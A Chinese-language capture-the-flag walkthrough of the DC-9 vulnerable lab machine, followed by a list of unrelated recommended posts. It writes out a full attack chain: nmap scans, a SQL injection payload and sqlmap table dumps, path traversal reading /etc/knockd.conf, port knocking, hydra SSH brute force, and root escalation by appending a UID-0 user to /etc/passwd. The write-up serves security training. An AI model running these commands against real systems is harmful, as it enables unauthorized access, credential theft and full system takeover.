DC-9靶机通关笔记

一、主机发现

复制代码
arp-scan -l

靶机ip为192.168.55.159

二、端口扫描、目录枚举、漏洞扫描、指纹识别

2.1端口扫描

复制代码
nmap --min-rate 10000 -p- 192.168.55.159

发现只开放了80端口,看来要在网页中进行信息收集了

很奇怪的是22端口没有开放

UDP端口扫描

复制代码
nmap -sU --min-rate 10000 -p- 192.168.55.159

靶机没有开放UDP端口

2.2目录枚举

复制代码
dirb http://192.168.55.159

扫出来了很多目录,访问后没啥信息

2.3漏洞扫描

复制代码
nmap --script=vuln -p22,80 192.168.55.159

无明显漏洞

2.4指纹识别

复制代码
nmap 192.168.55.159 -sV -sC -O --version-all

三、进入靶机网站寻找信息,找到低权限账号

访问靶机网页寻找信息

3.1SQL注入

靶机的第二个页面是成员信息,说明有数据库,第三和第四个页面中均含有输入框,尝试sql注入

经过尝试,在第三个页面中的搜索框中存在sql注入

复制代码
1' or 1=1 #

抓包发现注入的参数是search

这边使用sqlmap进行注入了

爆数据库名:

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' --dbs

先看users里面的表

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D users --tables

找到了一张表,下面就是爆破字段名

复制代码
 sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D users -T UserDetails --columns

下面就是爆破数据

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D users -T UserDetails -C username,password --dump

有了账号密码,我们可以去第四个页面进行登陆了

经过尝试,这些都进不去,试试其它的表

复制代码
sqlmap -u "http://192.168.55.159/results.php" --data 'search=1' -D Staff -T Users -C Password,Username --dump

发现这张表中是admin账号,试试md5解密

密码为:transorbital1

3.2端口敲门

成功登陆后发现多了两个功能点

发现在"Mangage"页面中有提示性信息

尝试一下文件包含

真的存在文件包含

由于22端口是关闭状态,我们需要端口敲门使其开放

通过文件包含可以寻找端口敲门的信息

复制代码
http://192.168.55.159/manage.php?file=../../../../../../etc/knockd.conf

找到了端口敲门的顺序:7469,8475,9842

端口敲门:

复制代码
knock -v 192.168.55.159 7469 8475 9842
nmap -p- 192.168.55.159

22端口成功打开

3.3使用hydra爆破ssh账号密码

将sqlmap爆出来的账号密码作为字典,使用hydra进行ssh服务爆破

首先将内容使用cut命令分割开

复制代码
cat 1.txt | cut -d "|" -f 2 > 2.txt
cat 1.txt | cut -d "|" -f 3 > 3.txt

接着使用hydra进行爆破

复制代码
hydra -L 2.txt -P 3.txt ssh://192.168.55.159

成功找到三个账号密码

四、提权

进入账号中,在janitor账号中找到了隐藏信息

找到了新的密码,继续使用刚刚的user进行爆破

成功爆破出了一个新的账号

登陆该账号

4.1靶机信息收集

4.2sudo提权

随后使用sudo命令查找有无高权限的文件

复制代码
sudo -l

找到了一个test文件

执行一下test文件,提示我们要去 test.py 文件看使用方法

这个程序需要我们提供两个参数,第一个参数是追加的内容,第二个参数是追加的文件

这里提权的方法就很多了,我这里采用的是新建一个root权限的用户,将用户信息追加到/etc/passwd中,然后切换该用户即可

复制代码
openssl passwd -1 -salt 123456 123456
cd /tmp  # 不在tmp目录下echo输出的不对
echo 'pp:$1$123456$wOSEtcyiP2N/IfIl15W6Z0:0:0::/root:/bin/bash' > pp
sudo /opt/devstuff/dist/test/test pp /etc/passwd

密码输入123456即可成功提权!

相关推荐
疾风铸境2 分钟前
项目研发实录:电子称SDK封装dll给到QT和C#调用
linux·服务器·网络
wanhengidc24 分钟前
使用云手机能否给企业降本增效
运维·网络·科技·游戏·智能手机
怀旧,29 分钟前
【C++】19. 封装红⿊树实现set和map
linux·c++·算法
D11_32 分钟前
【服务器】将本地项目部署到服务器
运维·服务器
泡沫冰@36 分钟前
K8S集群管理(2)
云原生·容器·kubernetes
敲上瘾1 小时前
Docker 存储卷(Volume)核心概念、类型与操作指南
linux·服务器·数据库·docker·容器·架构
神里流~霜灭1 小时前
(C++)数据结构初阶(顺序表的实现)
linux·c语言·数据结构·c++·算法·顺序表·单链表
华强笔记1 小时前
KGDB(Kernel GNU Debugger)工具使用方法详解
网络·安全·gnu
自强的小白1 小时前
vlan(局部虚拟网)
网络·学习
徐子元竟然被占了!!1 小时前
RIP协议
网络·网络协议